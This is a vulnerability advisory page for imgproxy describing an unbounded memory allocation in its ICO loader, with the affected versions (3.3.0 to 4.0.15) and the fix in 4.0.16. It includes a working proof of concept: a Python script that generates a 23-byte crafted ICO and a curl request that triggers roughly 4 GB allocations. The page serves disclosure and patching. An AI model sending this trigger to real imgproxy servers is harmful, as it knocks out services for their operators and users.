imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field
- Last modified
- Where the record stands: published, rejected by its publisher, or superseded by another id.What do these mean? →
- published
- Whether CISA lists it in its Known Exploited Vulnerabilities catalog: proof that attackers are using it.What do these mean? →
- Not listed in CISA KEV
- How many real-world setups can hit the bug, from the vendor's advisory and CISA data. It does not know your setup.What do these mean? →
- Unclear
- The rating the maker of the software gives it. Shown when it differs from the CVSS level.What do these mean? →
- High (ghsa)
- Fix
- Fixed in 4.0.16
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
Summary
imgproxy, the open-source image processing server, is affected in its latest release line (4.0.x) and the 3.3.x series. A specially crafted, very small ICO image file can make the server attempt a single allocation of roughly 4 GB of memory, which can exhaust memory and cause a denial of service for image processing requests.
Summarized by anthropic/claude-haiku-5.5. Verify details against the original sources.
Read the original description
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15. Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation: ``` uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size); // BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually. VipsPel data = (VipsPel ) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN); ``` There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`. PoC ```py make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger. Byte-identical to the checksummed, production-verified file: ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16) data = b'\x00' blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b' open('ico-4gb.ico', 'wb').write(blob) print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]") ``` ``` imgproxy v4.0.15 with local file sources enabled: IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png" → outcome depends on host memory: on a memory-constrained pod the worker OOM-dies; on a larger host the ~4GB allocation succeeds transiently and decode fails -> HTTP 500 (worker survives, but each request burns ~4GB transiently — repeatable memory exhaustion). ``` Impact Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
Timeline
- Advisory published
- Record last updated
- First seen by cve.now
Affected versions
- github.com/imgproxy/imgproxy/v3Go
From 3.3.0 · fixed in 4.0.16
References 4
GitHub · imgproxy/imgproxy
Questions about GHSA-MMQ5-XM89-9PFG
What does this mean?
The imgproxy ICO image loader trusts a size value in an ICO file's directory entry and allocates memory for it without a limit. A small crafted file can make a worker allocate about 4GB per request, which can exhaust memory and crash the worker.Source: github.com
Am I affected, and how do I check?
The facts list versions 3.3.0 through 4.0.15, including the 3.3.x series, of github.com/imgproxy/imgproxy/v3. The reported setup also had local file sources enabled (IMGPROXY_ENABLE_LOCAL_FILES=true), so check your imgproxy version and that setting to see how your deployment compares with the reported conditions.Source: github.com
What should I do about it?
Upgrade to imgproxy 4.0.16, which is the listed fixed version.Source: github.com
Is it being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data